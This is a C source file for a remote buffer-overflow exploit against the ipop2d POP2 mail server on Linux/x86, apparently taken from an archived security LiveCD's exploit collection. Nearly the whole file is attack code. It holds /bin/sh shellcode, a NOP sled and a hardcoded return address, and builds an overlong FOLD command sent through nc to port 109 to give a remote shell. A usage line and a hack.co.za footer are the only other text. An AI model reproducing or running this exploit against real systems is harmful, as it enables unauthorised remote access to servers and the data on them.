home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop2 / ipop.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  46 lines

  1. /*
  2.  * *working* ipop2d exploit for linux/x86
  3.  * tested on redhat 5.2
  4.  *
  5.  * - rsh <dmk@slack.net>
  6.  */
  7.  
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <unistd.h>
  11.  
  12. char shellcode[] =
  13.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  14.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  15.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  16.  
  17.  
  18. #define RET 0xbffff5a8
  19.  
  20. int main(int argc, char *argv[])
  21. {
  22.   char buf[1099];
  23.   int off=0,b=1024,i,a=0;
  24.   u_long *p;
  25.  
  26.   if(argc<4)
  27.     {
  28.       fprintf(stderr,"use: (%s <auth> <user> <pw> [offset];cat) | nc"
  29.               " <target> 109\n",argv[0]);
  30.       exit(1);
  31.     }
  32.   if(argv[4])
  33.     off=atoi(argv[4]);
  34.   b-=strlen(argv[1])+strlen(argv[2])+17;
  35.   fprintf(stderr,"{!} buf size\t: %d\n{!} ret addr\t: %#x\n\n",b,RET-off);
  36.   memset(buf,0x90,sizeof(buf));
  37.   for(i=((b+4)-strlen(shellcode));i<(b+4);i++)
  38.     buf[i]=shellcode[a++];
  39.   p=(u_long *)(buf+(b+4));
  40.   *p=(RET-off);
  41.   buf[b+4+4]='\0';
  42.   printf("HELO %s:%s %s\r\n",argv[1],argv[2],argv[3]);
  43.   sleep(10);
  44.   printf("FOLD %s\r\n",buf);
  45. }
  46. /*                    www.hack.co.za              [2000]*/